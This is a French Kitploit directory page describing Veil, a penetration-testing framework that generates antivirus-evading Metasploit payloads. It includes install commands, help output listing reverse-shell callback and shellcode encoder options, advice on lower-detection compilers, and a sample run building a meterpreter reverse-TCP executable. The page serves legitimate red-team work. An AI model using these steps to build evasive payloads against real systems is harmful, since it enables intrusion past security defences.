Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Veil — Veil 3.1.X (Vérifiez les informations de version dans Veil au moment de l'exécution) | Kitploit
Outils/GitHubGitHub/veil-framework/veil
Frameworks d'ExploitationGénération de PayloadsTests d'IntrusionCommandement et ContrôleGénération de ShellcodeArchived
GitHubveil-framework/veil

Veil

Veil 3.1.X (Vérifiez les informations de version dans Veil au moment de l'exécution)

Voir le dépôt
4.2k91420il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Veil

Veil Logo

Veil est un outil conçu pour générer des charges utiles metasploit qui contournent les solutions antivirus courantes.

Veil est actuellement maintenu par @ChrisTruncer


Prérequis logiciels :

Les systèmes d'exploitation suivants sont officiellement pris en charge :

  • Debian 8+
  • Kali Linux Rolling 2018.1+

Les systèmes d'exploitation suivants sont susceptibles de pouvoir exécuter Veil :

  • Arch Linux
  • Manjaro Linux
  • BlackArch Linux
  • Deepin 15+
  • Elementary
  • Fedora 22+
  • Linux Mint
  • Parrot Security
  • Ubuntu 15.10+
  • Void Linux

Installation

Installation rapide sur Kali

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

Installation rapide via Git

REMARQUE :

  • L'installation doit être effectuée avec les privilèges superutilisateur. Si vous n'utilisez pas le compte root (comme par défaut avec Kali Linux), préfixez les commandes par sudo ou passez à l'utilisateur root avant de commencer.
  • Votre gestionnaire de paquets peut être différent de apt. Vous aurez également besoin d'un serveur X en cours d'exécution, soit sur le système lui-même, soit sur votre système local.
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent

./config/setup.sh // Fichiers d'installation

Ce fichier est responsable de l'installation de toutes les dépendances de Veil. Cela inclut tout l'environnement WINE, pour le côté Windows. Il installera tous les paquets Linux nécessaires et GoLang, ainsi que Python, Ruby et AutoIT pour Windows. De plus, il exécutera également ./config/update-config.py pour votre environnement.

Il comprend deux options facultatives, --force et --silent :

--force ~ Si quelque chose se passe mal, cela écrasera la détection des installations précédentes. Utile lorsqu'il y a une mise à jour du paquet d'installation.
--silent ~ Cela effectuera une installation non supervisée de tout, car il automatisera toutes les étapes, donc aucune interaction de l'utilisateur.

Cela peut être exécuté soit par ./Veil.py --setup OU ./config/setup.sh --force.

./config/update-config.py // Régénération du fichier de configuration

Cela générera le fichier de sortie pour /etc/veil/settings.py. La plupart du temps, il n'aura pas besoin d'être reconstruit, mais dans certains cas, vous pourriez être invité à le faire (comme une mise à jour majeure de Veil).

Il est important que vous soyez dans le répertoire ./config/ avant d'exécuter update-config.py. Sinon, /etc/veil/settings.py sera incorrect et lorsque vous lancerez Veil, vous verrez ce qui suit :

    Main Menu

            0 payloads loaded

Ne paniquez pas. Exécutez soit ./Veil.py --config OU cd ./config/; ./update-config.py.

Py2Exe

REMARQUE : L'utilisation de Py2Exe est recommandée plutôt que PyInstaller (car il a un taux de détection plus faible).

INSTALLATION MANUELLE sur un ordinateur Windows (car cela n'est pas fait par l'installation de Veil) :

  • Python 3.3
  • Py2Exe
  • PyCrypto
  • PyWin32

Exemple d'utilisation

Menu principal de Veil :

$ ./Veil.py
===============================================================================
                             Veil | [Version]: 3.1.6
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Main Menu

  2 tools loaded

Available Tools:

  1)  Evasion
  2)  Ordnance

Available Commands:

  exit      Completely exit Veil
  info      Information on a specific tool
  list      List available tools
  options     Show Veil configuration
  update      Update Veil
  use     Use a specific tool

Veil>:

Aide

$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
               [--version] [--ip IP] [--port PORT] [--list-payloads]
               [-p [PAYLOAD]] [-o OUTPUT-NAME]
               [-c [OPTION=value [OPTION=value ...]]]
               [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
               [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
               [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]

Veil is a framework containing multiple tools.

[*] Veil Options:
  --list-tools          List Veil's tools
  -t TOOL, --tool TOOL  Specify Veil tool to use (Evasion, Ordnance etc.)
  --update              Update the Veil framework
  --setup               Run the Veil framework setup file & regenerate the
                        configuration
  --config              Regenerate the Veil framework configuration file
  --version             Displays version and quits

[*] Callback Settings:
  --ip IP, --domain IP  IP address to connect back to
  --port PORT           Port number to connect to

[*] Payload Settings:
  --list-payloads       Lists all available payloads for that tool

[*] Veil-Evasion Options:
  -p [PAYLOAD]          Payload to generate
  -o OUTPUT-NAME        Output file base name for source and compiled binaries
  -c [OPTION=value [OPTION=value ...]]
                        Custom payload module options
  --msfoptions [OPTION=value [OPTION=value ...]]
                        Options for the specified metasploit payload
  --msfvenom []         Metasploit shellcode to generate (e.g.
                        windows/meterpreter/reverse_tcp etc.)
  --compiler pyinstaller
                        Compiler option for payload (currently only needed for
                        Python)
  --clean               Clean out payload folders

[*] Veil-Ordnance Shellcode Options:
  --ordnance-payload PAYLOAD
                        Payload type (bind_tcp, rev_tcp, etc.)

[*] Veil-Ordnance Encoder Options:
  --list-encoders       Lists all available encoders
  -e ENCODER, --encoder ENCODER
                        Name of shellcode encoder to use
  -b \x00\x0a.., --bad-chars \x00\x0a..
                        Bad characters to avoid
  --print-stats         Print information about the encoded shellcode
$

Veil Evasion CLI

$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Language: go
 [*] Payload Module: go/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
 [*] Source code written to: /var/lib/veil/output/source/payload.go
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$

Veil Ordnance CLI

Télécharger l’outil